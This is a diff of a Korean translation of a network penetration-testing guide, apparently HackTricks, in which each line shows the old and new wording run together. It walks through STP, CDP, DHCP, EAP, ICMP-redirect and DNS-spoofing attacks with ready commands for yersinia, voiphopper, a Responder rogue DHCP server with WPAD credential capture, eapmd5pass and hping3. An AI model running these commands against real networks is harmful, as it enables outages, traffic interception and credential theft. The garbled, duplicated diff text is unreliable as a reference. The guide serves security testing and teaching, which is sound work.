많은 양의 BPDUs TCP (Topology Change Notification) 또는 Conf (토폴로지가 생성될 때 전송되는 BPDUs)를 보내면 스위치가 과부하되어 제대로 작동을 멈출 수 있습니다. 많은 BPDUs TCP(Topology Change Notification) 또는 Conf(토폴로지가 생성될 때 전송되는 BPDUs)를 전송하면 스위치가 과부하되어 제대로 작동하지 않게 됩니다.
```bash ```bash
yersinia stp -attack 2 yersinia stp -attack 2
yersinia stp -attack 3 yersinia stp -attack 3
@ -408,73 +413,73 @@ yersinia stp -attack 3
``` ```
#### **STP TCP 공격** #### **STP TCP 공격**
TCP를 보내면 스위치의 CAM 테이블이 15초 후에 삭제됩니다. 그 후 이러한 종류의 패킷을 계속해서 보내면 CAM 테이블이 계속 재시작됩니다 (또는 매 15초마다) 그리고 재시작되면 스위치는 허브처럼 동작합니다. TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음, 이러한 종류의 패킷을 지속적으로 전송하면 CAM 테이블이 지속적으로 (또는 매 15초마다) 재시작되고, 재시작될 때 스위치는 허브처럼 동작합니다.
```bash ```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
``` ```
#### **STP 루트 공격** #### **STP 루트 공격**
공격자는 스위치의 동작을 모방하여 네트워크의 STP 루트가 됩니다. 그런 다음, 더 많은 데이터가 그를 통해 통과하게 됩니다. 이는 두 개의 다른 스위치에 연결되어 있는 경우 특히 흥미로울 수 있습니다.\ 공격자는 스위치의 동작을 시뮬레이션하여 네트워크의 STP 루트가 됩니다. 그런 다음 더 많은 데이터가 그를 통해 전달됩니다. 이는 두 개의 다른 스위치에 연결되어 있을 때 흥미롭습니다.\
이는 BPDUs CONF 패킷을 보내어 **우선 순위(priority)** 값이 실제 루트 스위치의 실제 우선 순위보다 작다고 말하는 것으로 수행됩니다. 이는 **우선순위** 값이 실제 루트 스위치의 실제 우선순위보다 낮다고 말하는 BPDUs CONF 패킷을 전송하여 수행됩니다.
```bash ```bash
yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
``` ```
**만약 공격자가 2개의 스위치에 연결되어 있다면, 그는 새 트리의 루트가 될 수 있으며 그 두 스위치 사이의 모든 트래픽이 그를 통과하게 될 것입니다** (MITM 공격이 수행될 것입니다). **공격자가 2개의 스위치에 연결되어 있다면 그는 새로운 트리의 루트가 될 수 있으며, 그 스위치들 간의 모든 트래픽은 그를 통과하게 됩니다** (MITM 공격이 수행될 것입니다).
```bash ```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
``` ```
### CDP 공격 ### CDP 공격
시스코 디스커버리 프로토콜(CDP)은 시스코 장치 간의 통신에 필수적이며 **서로를 식별하고 구성 세부 정보를 공유**할 수 있게 합니다. CISCO Discovery Protocol (CDP)는 CISCO 장치 간의 통신에 필수적이며, 이를 통해 **서로를 식별하고 구성 세부정보를 공유**할 수 있습니다.
#### 수동 데이터 수집 <a href="#id-0e0f" id="id-0e0f"></a> #### 수동 데이터 수집 <a href="#id-0e0f" id="id-0e0f"></a>
CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험으로 이어질 수 있습니다. 공격자는 스위치 포트에 연결한 후 **Wireshark**, **tcpdump**, 또는 **Yersinia**와 같은 네트워크 스니퍼를 배치할 수 있습니다. 이 작업은 네트워크 장치에 대한 민감한 데이터를 노출시킬 수 있으며, 해당 장치의 모델 및 Cisco IOS 버전을 포함합니다. 공격자는 그런 다음 식별된 Cisco IOS 버전의 특정 취약점을 대상으로 할 수 있습니다. CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험을 초래할 수 있습니다. 공격자는 스위치 포트에 연결하면 **Wireshark**, **tcpdump** 또는 **Yersinia**와 같은 네트워크 스니퍼를 배포할 수 있습니다. 이 작업은 네트워크 장치에 대한 민감한 데이터를 드러낼 수 있으며, 여기에는 모델과 실행 중인 Cisco IOS 버전이 포함됩니다. 공격자는 식별된 Cisco IOS 버전의 특정 취약점을 목표로 삼을 수 있습니다.
#### CDP 테이블 플러딩 유도 <a href="#id-0d6a" id="id-0d6a"></a> #### CDP 테이블 플러딩 유도 <a href="#id-0d6a" id="id-0d6a"></a>
더 공격적인 접근 방식은 스위치의 메모리를 압도하여 서비스 거부(DoS) 공격을 발동하고, 합법적인 시스코 장치인 것처럼 가장하는 것입니다. 아래는 테스트를 위해 설계된 네트워크 도구인 Yersinia를 사용하여 이러한 공격을 시작하는 명령 시퀀스입니다: 보다 공격적인 접근 방식은 합법적인 CISCO 장치인 척하여 스위치의 메모리를 압도함으로써 서비스 거부(DoS) 공격을 시작하는 것입니다. 아래는 Yersinia를 사용하여 이러한 공격을 시작하기 위한 명령어 시퀀스입니다:
```bash ```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach: # Alternatively, for a GUI approach:
sudo yersinia -G sudo yersinia -G
``` ```
이 공격 중에는 스위치의 CPU 및 CDP 이웃 테이블이 심하게 부담을 받아 자원 소비가 과도하여 종종 **“네트워크 마비”**로 불리는 상황이 발생합니다. 이 공격 동안 스위치의 CPU와 CDP 이웃 테이블이 심각하게 부담을 받아 과도한 자원 소비로 인해 종종 **“네트워크 마비”**라고 불리는 상태에 이르게 됩니다.
#### CDP 위장 공격 #### CDP Impersonation Attack
```bash ```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet sudo yersinia cdp -attack 0 #Send a CDP packet
``` ```
당신은 [**scapy**](https://github.com/secdev/scapy/)를 사용할 수도 있습니다. `scapy/contrib` 패키지와 함께 설치해야 합니다. You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
### VoIP 공격 및 VoIP Hopper 도구 ### VoIP 공격 및 VoIP 호퍼 도구
IoT 장치와 점점 통합되는 VoIP 전화기는 특별한 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이 통합은 보안 위험을 야기할 수 있습니다. VoIP 전화는 IoT 장치와 점점 더 통합되어 있으며, 특별한 전화 번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다.
[**voiphopper**](http://voiphopper.sourceforge.net) 도구는 다양한 환경(Cisco, Avaya, Nortel, Alcatel-Lucent)에서 VoIP 전화기를 흉내 내도록 설계되었습니다. 이 도구는 CDP, DHCP, LLDP-MED, 802.1Q ARP와 같은 프로토콜을 사용하여 음성 네트워크의 VLAN ID를 발견합니다. 도구 [**voiphopper**](http://voiphopper.sourceforge.net)는 다양한 환경(Cisco, Avaya, Nortel, Alcatel-Lucent)에서 VoIP 전화를 에뮬레이트하도록 설계되었습니다. CDP, DHCP, LLDP-MED 및 802.1Q ARP와 같은 프로토콜을 사용하여 음성 네트워크의 VLAN ID를 발견합니다.
**VoIP Hopper**는 Cisco Discovery Protocol (CDP)에 대해 세 가지 모드를 제공합니다: **VoIP Hopper**는 Cisco Discovery Protocol (CDP)에 대해 세 가지 모드를 제공합니다:
1. **스니핑 모드** (`-c 0`): 네트워크 패킷을 분석하여 VLAN ID를 식별합니다. 1. **Sniff Mode** (`-c 0`): 네트워크 패킷을 분석하여 VLAN ID를 식별합니다.
2. **스푸핑 모드** (`-c 1`): 실제 VoIP 장치와 유사한 사용자 정의 패킷을 생성합니다. 2. **Spoof Mode** (`-c 1`): 실제 VoIP 장치의 패킷을 모방하는 사용자 정의 패킷을 생성합니다.
3. **미리 만들어진 패킷을 사용한 스푸핑 모드** (`-c 2`): 특정 Cisco IP 전화기 모델의 패킷과 동일한 패킷을 보냅니다. 3. **Spoof with Pre-made Packet Mode** (`-c 2`): 특정 Cisco IP 전화 모델의 패킷과 동일한 패킷을 전송합니다.
속도를 위 선호되는 모드는 세 번째 모드입니다. 이를 위해 다음을 지정해야 합니다: 속도를 위 선호되는 모드는 세 번째 모드입니다. 다음을 지정해야 합니다:
* 공격자의 네트워크 인터페이스 (`-i` 매개변수). * 공격자의 네트워크 인터페이스 (`-i` 매개변수).
* 흉내 내려는 VoIP 장치의 이름(`-E` 매개변수), Cisco 네이밍 형식을 준수해야 합니다 (예: MAC 주소 뒤에 이어지는 SEP). * 에뮬레이트할 VoIP 장치의 이름 (`-E` 매개변수), Cisco 명명 형식(예: SEP 다음에 MAC 주소)을 준수합니다.
기업 환경에서 기존 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다: 기업 환경에서 기존 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다:
* 전화기의 MAC 레이블을 검사합니다. * 전화기의 MAC 라벨을 검사합니다.
* 모델 정보를 보기 위해 전화기의 디스플레이 설정을 탐색합니다. * 전화기의 디스플레이 설정을 탐색하여 모델 정보를 확인합니다.
* 노트북에 VoIP 장치를 연결하고 Wireshark를 사용하여 CDP 요청을 관찰합니다. * VoIP 장치를 노트북에 연결하고 Wireshark를 사용하여 CDP 요청을 관찰합니다.
세 번째 모드에서 도구를 실행하는 예시 명령어는 다음과 같습니다: 세 번째 모드에서 도구를 실행하는 예제 명령은 다음과 같습니다:
```bash ```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
``` ```
@ -500,59 +505,59 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
``` ```
**DoS** **DoS**
DHCP 서버에 대해 수행할 수 있는 **두 가지 유형의 DoS**가 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하는 충분한 가짜 호스트를 시뮬레이션**하는 것입니다.\ **DoS의 두 가지 유형**은 DHCP 서버에 대해 수행될 수 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\
이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜을 완료할 수 있는 경우에만 작동합니다 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). 예를 들어, 이는 **Wifi 네트워크에서는 불가능**합니다. 이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜을 완료할 수 있을 때만 작동합니다 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). 예를 들어, **Wifi 네트워크에서는 이것이 불가능합니다**.
DHCP DoS를 수행하는 또 다른 방법은 **모든 가능한 IP를 소스 코드로 사용하여 DHCP-RELEASE 패킷을 보내는 것**입니다. 그러면 서버는 모두가 IP를 사용을 마쳤다고 생각할 것입니다. DHCP DoS를 수행하는 또 다른 방법은 **모든 가능한 IP를 소스 코드로 사용하여 DHCP-RELEASE 패킷을 보내는 것**입니다. 그러면 서버는 모든 사용자가 IP 사용을 마쳤다고 생각할 것입니다.
```bash ```bash
yersinia dhcp -attack 1 yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed yersinia dhcp -attack 3 #More parameters are needed
``` ```
더 자동화된 방법은 [DHCPing](https://github.com/kamorin/DHCPig) 도구를 사용하는 것입니다. A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)
언급된 DoS 공격을 사용하여 클라이언트가 환경 내에서 새로운 임대를 얻도록 강제하고, 합법적인 서버를 고갈시켜 응답하지 않게 만들 수 있습니다. 따라서 합법적인 서버가 다시 연결을 시도할 때 **다음 공격에서 언급된 악의적인 값을 제공할 수 있습니다**. You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **다음 공격에서 언급된 악의적인 값을 제공할 수 있습니다**.
#### 악의적인 값 설정 #### 악의적인 값 설정
`/usr/share/responder/DHCP.py`에 위치한 DHCP 스크립트를 사용하여 로그 DHCP 서버를 설정할 수 있습니다. 이는 악의적인 서버로 트래픽을 리디렉션하여 HTTP 트래픽 및 자격 증명을 캡처하는 것과 같은 네트워크 공격에 유용합니다. 그러나 로그 게이트웨이를 설정하는 것은 클라이언트의 아웃바운드 트래픽만 캡처할 수 있기 때문에 효과가 덜합니다. 대신, 로그 DNS 또는 WPAD 서버를 설정하는 것이 더 효과적인 공격을 위해 권장됩니다. 악의적인 DHCP 서버는 `/usr/share/responder/DHCP.py`에 위치한 DHCP 스크립트를 사용하여 설정할 수 있습니다. 이는 HTTP 트래픽과 자격 증명을 캡처하기 위해 트래픽을 악의적인 서버로 리디렉션하는 네트워크 공격에 유용합니다. 그러나 악의적인 게이트웨이를 설정하는 것은 클라이언트의 아웃바운드 트래픽만 캡처할 수 있기 때문에 덜 효과적이며, 실제 게이트웨이의 응답을 놓치게 됩니다. 대신, 더 효과적인 공격을 위해 악의적인 DNS 또는 WPAD 서버를 설정하는 것이 권장됩니다.
다음은 로그 DHCP 서버를 구성하는 명령 옵션입니다: 아래는 악의적인 DHCP 서버를 구성하기 위한 명령 옵션입니다:
* **우리의 IP 주소 (게이트웨이 광고)**: `-i 10.0.0.100`을 사용하여 자신의 기기 IP를 게이트웨이로 광고합니다. * **우리의 IP 주소 (게이트웨이 광고)**: `-i 10.0.0.100`을 사용하여 머신의 IP를 게이트웨이로 광고합니다.
* **로컬 DNS 도메인 이름**: 선택적으로 `-d example.org` 사용하여 로컬 DNS 도메인 이름을 설정합니다. * **로컬 DNS 도메인 이름**: 선택적으로 `-d example.org` 사용하여 로컬 DNS 도메인 이름을 설정합니다.
* **원래 라우터/게이트웨이 IP**: 합법적인 라우터 또는 게이트웨이의 IP 주소를 지정하기 위해 `-r 10.0.0.1`을 사용합니다. * **원래 라우터/게이트웨이 IP**: `-r 10.0.0.1`을 사용하여 합법적인 라우터 또는 게이트웨이의 IP 주소를 지정합니다.
* **기본 DNS 서버 IP**: 제어하는 로그 DNS 서버의 IP 주소를 설정하기 위해 `-p 10.0.0.100`을 사용합니다. * **기본 DNS 서버 IP**: `-p 10.0.0.100`을 사용하여 제어하는 악의적인 DNS 서버의 IP 주소를 설정합니다.
* **보조 DNS 서버 IP**: 선택적으로 `-s 10.0.0.1`을 사용하여 보조 DNS 서버 IP를 설정합니다. * **보조 DNS 서버 IP**: 선택적으로 `-s 10.0.0.1`을 사용하여 보조 DNS 서버 IP를 설정합니다.
* **로컬 네트워크의 넷마스크**: 로컬 네트워크의 넷마스크를 정의하기 위해 `-n 255.255.255.0`을 사용합니다. * **로컬 네트워크의 넷마스크**: `-n 255.255.255.0`을 사용하여 로컬 네트워크의 넷마스크를 정의합니다.
* **DHCP 트래픽을 위한 인터페이스**: 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신하기 위해 `-I eth1`을 사용합니다. * **DHCP 트래픽을 위한 인터페이스**: `-I eth1`을 사용하여 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신합니다.
* **WPAD 구성 주소**: 웹 트래픽 가로채기를 돕는 WPAD 구성 주소를 설정하기 위해 `-w “http://10.0.0.100/wpad.dat”`을 사용합니다. * **WPAD 구성 주소**: `-w “http://10.0.0.100/wpad.dat”`을 사용하여 웹 트래픽 가로채기를 지원하는 WPAD 구성 주소를 설정합니다.
* **기본 게이트웨이 IP를 위조**: 기본 게이트웨이 IP 주소를 위조하기 위해 `-S`를 포함합니다. * **기본 게이트웨이 IP 스푸핑**: 기본 게이트웨이 IP 주소를 스푸핑하기 위해 `-S`를 포함합니다.
* **모든 DHCP 요청에 응답**: 서버가 모든 DHCP 요청에 응답하도록 만들기 위해 `-R`을 포함합니다. 그러나 이것은 시끄럽고 감지될 수 있음을 인식하십시오. * **모든 DHCP 요청에 응답**: 모든 DHCP 요청에 응답하도록 서버를 설정하기 위해 `-R`을 포함하지만, 이는 소음이 많아 탐지될 수 있음을 유의해야 합니다.
러한 옵션을 올바르게 사용하면 로그 DHCP 서버를 효과적으로 설정하여 네트워크 트래픽을 가로챌 수 있습니다. 옵션들을 올바르게 사용함으로써, 네트워크 트래픽을 효과적으로 가로채기 위한 악의적인 DHCP 서버를 설정할 수 있습니다.
```python ```python
# Example to start a rogue DHCP server with specified options # Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
``` ```
### **EAP 공격** ### **EAP 공격**
다음은 802.1X 구현에 사용할 수 있는 공격 전술 중 일부입니다: 다음은 802.1X 구현에 대해 사용할 수 있는 공격 전술입니다:
* EAP를 통한 적극적인 브루트포스 암호 그라인딩 * EAP를 통한 능동적인 무차별 대입 비밀번호 공격
* 잘못된 EAP 콘텐츠를 사용하여 RADIUS 서버 공격 _(exploits)_ * 잘못된 EAP 콘텐츠로 RADIUS 서버 공격 _\*\*_(익스플로잇)
* EAP 메시지 캡처 및 오프라인 암호 해독 (EAP-MD5 및 PEAP) * EAP 메시지 캡처 및 오프라인 비밀번호 크래킹 (EAP-MD5 및 PEAP)
* TLS 인증서 유효성 검사 우회를 위해 EAP-MD5 인증을 강제 * TLS 인증서 검증을 우회하기 위해 EAP-MD5 인증 강제화
* 허브 또는 유사한 장치를 사용하여 인증 후 악의적인 네트워크 트래픽 주입 * 허브 또는 유사한 장치를 사용하여 인증 시 악성 네트워크 트래픽 주입
공격자가 피해자와 인증 서버 사이에 있을 경우, 필요한 경우 인증 프로토콜을 EAP-MD5로 강등시키고 인증 시도를 캡처할 수 있습니다. 그런 다음 다음을 사용하여 브루트포스 공격을 시도할 수 있습니다: 공격자가 피해자와 인증 서버 사이에 있다면, 그는 필요에 따라 인증 프로토콜을 EAP-MD5로 저하시키고 인증 시도를 캡처할 수 있습니다. 그런 다음, 그는 이를 다음과 같이 무차별 대입할 수 있습니다:
``` ```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
``` ```
### FHRP (GLBP & HSRP) 공격 <a href="#id-6196" id="id-6196"></a> ### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol)은 **핫 리듬던시 라우팅 시스템을 생성하는** 네트워크 프로토콜 클래스입니다. FHRP를 사용하면 물리적 라우터를 하나의 논리적 장치로 결합하여 오류 허용성을 높이고 부하를 분산할 수 있습니다. **FHRP** (First Hop Redundancy Protocol)은 **핫 중복 라우팅 시스템을 생성하기 위해 설계된 네트워크 프로토콜의 클래스**입니다. FHRP를 사용하면 물리적 라우터를 단일 논리 장치로 결합할 수 있어 내결함성이 증가하고 부하 분산에 도움이 됩니다.
**시스코 시스템 엔지니어들은 GLBP와 HSRP 두 가지 FHRP 프로토콜을 개발했습니다.** **Cisco Systems 엔지니어들은 GLBP와 HSRP라는 두 가지 FHRP 프로토콜을 개발했습니다.**
{% content-ref url="glbp-and-hsrp-attacks.md" %} {% content-ref url="glbp-and-hsrp-attacks.md" %}
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
@ -560,73 +565,73 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
### RIP ### RIP
라우팅 정보 프로토콜(RIP)에는 RIP, RIPv2 및 RIPng 세 가지 버전이 있습니다. RIP 및 RIPv2는 UDP를 사용하여 포트 520을 통해 동료에게 데이터그램을 보내고, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2에서는 MD5 인증을 지원하며, RIPng에서는 네이티브 인증이 포함되어 있지 않습니다. 대신 IPv6 내에서 IPsec AH 및 ESP 헤더에 의존합니다. 라우팅 정보 프로토콜(RIP)의 세 가지 버전이 존재하는 것으로 알려져 있습니다: RIP, RIPv2, 및 RIPng. RIP와 RIPv2는 UDP를 사용하여 포트 520을 통해 피어에게 데이터그램을 전송하는 반면, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원합니다. 반면, RIPng는 기본 인증을 포함하지 않으며, 대신 IPv6 내에서 선택적 IPsec AH 및 ESP 헤더에 의존합니다.
* **RIP 및 RIPv2:** 통신은 포트 520의 UDP 데이터그램을 통해 이루어집니다. * **RIP 및 RIPv2:** 포트 520에서 UDP 데이터그램을 통해 통신합니다.
* **RIPng:** IPv6 멀티캐스트를 통해 UDP 포트 521을 사용하여 데이터그램을 브로드캐스트합니다. * **RIPng:** IPv6 멀티캐스트를 통해 데이터그램을 브로드캐스트하기 위해 UDP 포트 521을 사용합니다.
RIPv2는 MD5 인증을 지원하며, RIPng는 네이티브 인증이 없으며 IPv6 내에서 IPsec AH 및 ESP 헤더에 의존합니다. RIPv2는 MD5 인증을 지원하는 반면, RIPng는 기본 인증을 포함하지 않으며, IPv6에서 IPsec AH 및 ESP 헤더에 의존합니다.
### EIGRP 공격 ### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)**은 동적 라우팅 프로토콜입니다. **인증이 없고 패시브 인터페이스가 구성되지 않은 경우**, **침입자**가 EIGRP 라우팅을 방해하고 **라우팅 테이블 독점**을 유발할 수 있습니다. 또한 EIGRP 네트워크(다른 말로 자율 시스템)는 **평면이며 어떠한 존으로도 분할되지 않습니다**. **공격자가 경로를 주입**하면 이 경로가 자율 시스템 전체에 **퍼질 가능성**이 높습니다. **EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. **거리 벡터 프로토콜입니다.** **인증**이 없고 수동 인터페이스가 구성되지 않은 경우, **침입자**가 EIGRP 라우팅에 간섭하여 **라우팅 테이블 오염**을 초래할 수 있습니다. 또한, EIGRP 네트워크(즉, 자율 시스템)는 **평면이며 어떤 구역으로도 세분화되지 않습니다**. **공격자가 경로를 주입하면**, 이 경로는 자율 EIGRP 시스템 전반에 **퍼질 가능성이 높습니다**.
EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃 관계를 설정**해야 합니다. 이는 기본적인 정찰부터 다양한 주입까지 다양한 가능성을 엽니다. EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃을 설정해야** 하며, 이는 기본 정찰에서 다양한 주입에 이르기까지 많은 가능성을 열어줍니다.
[**FRRouting**](https://frrouting.org/)을 사용하면 **BGP, OSPF, EIGRP, RIP 및 기타 프로토콜을 지원하는 가상 라우터를 구현**할 수 있습니다. 공격자 시스템에 배포하면 라우팅 도메인에서 합법적인 라우터인 척할 수 있습니다. [**FRRouting**](https://frrouting.org/)**BGP, OSPF, EIGRP, RIP 및 기타 프로토콜을 지원하는 가상 라우터를 구현할 수 있게 해줍니다.** 공격자의 시스템에 배포하기만 하면 실제로 라우팅 도메인에서 합법적인 라우터인 척할 수 있습니다.
{% content-ref url="eigrp-attacks.md" %} {% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md) [eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %} {% endcontent-ref %}
[**Coly**](https://code.google.com/p/coly/)는 EIGRP (Enhanced Interior Gateway Routing Protocol) 브로드캐스트를 가로채는 기능을 제공합니다. 패킷 주입도 가능하며, 이를 통해 라우팅 구성을 변경할 수 있습니다. [**Coly**](https://code.google.com/p/coly/)는 EIGRP (Enhanced Interior Gateway Routing Protocol) 브로드캐스트를 가로채는 기능을 가지고 있습니다. 또한 패킷 주입을 허용하여 라우팅 구성을 변경하는 데 사용할 수 있습니다.
### OSPF ### OSPF
Open Shortest Path First (OSPF) 프로토콜에서는 **MD5 인증이 일반적으로 사용**되어 라우터 간 안전한 통신을 보장합니다. 그러나 Loki 및 John the Ripper와 같은 도구를 사용하여 이러한 보안 조치를 우회할 수 있습니다. 이 도구들은 MD5 해시를 캡처하고 해독하여 인증 키를 노출시킬 수 있습니다. 이 키를 획득하면 새로운 라우팅 정보를 도입할 수 있습니다. 라우트 매개변수를 구성하고 침해당한 키를 설정하려면 각각 _Injection__Connection_ 탭을 사용합니다. Open Shortest Path First (OSPF) 프로토콜에서는 **라우터 간의 안전한 통신을 보장하기 위해 MD5 인증이 일반적으로 사용됩니다**. 그러나 이 보안 조치는 Loki 및 John the Ripper와 같은 도구를 사용하여 손상될 수 있습니다. 이러한 도구는 MD5 해시를 캡처하고 해독할 수 있어 인증 키를 노출시킵니다. 이 키를 얻으면 새로운 라우팅 정보를 도입하는 데 사용할 수 있습니다. 경로 매개변수를 구성하고 손상된 키를 설정하기 위해 각각 _Injection__Connection_ 탭이 사용됩니다.
* **MD5 해시 캡처 및 해독:** Loki 및 John the Ripper와 같은 도구를 사용합니다. * **MD5 해시 캡처 및 해독:** Loki 및 John the Ripper와 같은 도구가 사용됩니다.
* **라우트 매개변수 구성:** _Injection_ 탭을 통해 수행됩니다. * **경로 매개변수 구성:** _Injection_ 탭을 통해 수행됩니다.
* **침해당한 키 설정:** 키는 _Connection_ 탭에서 구성됩니다. * **손상된 키 설정:** 키는 _Connection_ 탭에서 구성됩니다.
### 기타 일반 도구 및 소스 ### Other Generic Tools & Sources
* [**Above**](https://github.com/c4s73r/Above): 네트워크 트래픽을 스캔하고 취약점을 찾는 도구 * [**Above**](https://github.com/c4s73r/Above): 네트워크 트래픽을 스캔하고 취약점을 찾는 도구
* 네트워크 공격에 대한 **추가 정보**는 [**여기**](https://github.com/Sab0tag3d/MITM-cheatsheet)에서 찾을 수 있습니다. * **네트워크 공격에 대한 더 많은 정보**는 [**여기**](https://github.com/Sab0tag3d/MITM-cheatsheet)에서 찾을 수 있습니다.
## **스푸핑** ## **Spoofing**
공격자는 가짜 DHCP 응답을 보내 네트워크의 새로운 구성원의 모든 네트워크 매개변수(GW, IP, DNS)를 구성합니다. 공격자는 가짜 DHCP 응답을 보내 네트워크의 새로운 구성원의 모든 네트워크 매개변수(GW, IP, DNS)를 구성합니다.
```bash ```bash
Ettercap Ettercap
yersinia dhcp -attack 2 #More parameters are needed yersinia dhcp -attack 2 #More parameters are needed
``` ```
### ARP 스푸핑 ### ARP Spoofing
[이전 섹션](./#arp-spoofing)을 확인하십시오. Check the [previous section](./#arp-spoofing).
### ICMPRedirect ### ICMPRedirect
ICMP 리다이렉트는 ICMP 패킷 유형 1 코드 5를 보내어 공격자가 IP에 도달하는 가장 좋은 방법임을 나타냅니다. 그런 다음 피해자가 IP에 연락하려고 할 때 패킷을 공격자를 통해 보내게 됩니다. ICMP Redirect는 공격자가 IP에 도달하는 가장 좋은 방법임을 나타내는 ICMP 패킷 유형 1 코드 5를 전송하는 것입니다. 그런 다음 피해자가 IP에 연락하고자 할 때, 공격자를 통해 패킷을 전송합니다.
```bash ```bash
Ettercap Ettercap
icmp_redirect icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
``` ```
### DNS 스푸핑 ### DNS Spoofing
공격자는 피해자가 요청하는 도메인 중 일부(또는 모두)를 해석(resolve)할 것입니다. 공격자는 피해자가 요청하는 일부(또는 모든) 도메인을 해결할 것입니다.
```bash ```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
``` ```
**dnsmasq를 사용하여 자체 DNS 구성** **dnsmasq로 자체 DNS 구성하기**
```bash ```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS dig @localhost domain.example.com # Test the configured DNS
``` ```
### 로컬 게이트웨이 ### 로컬 게이트웨이
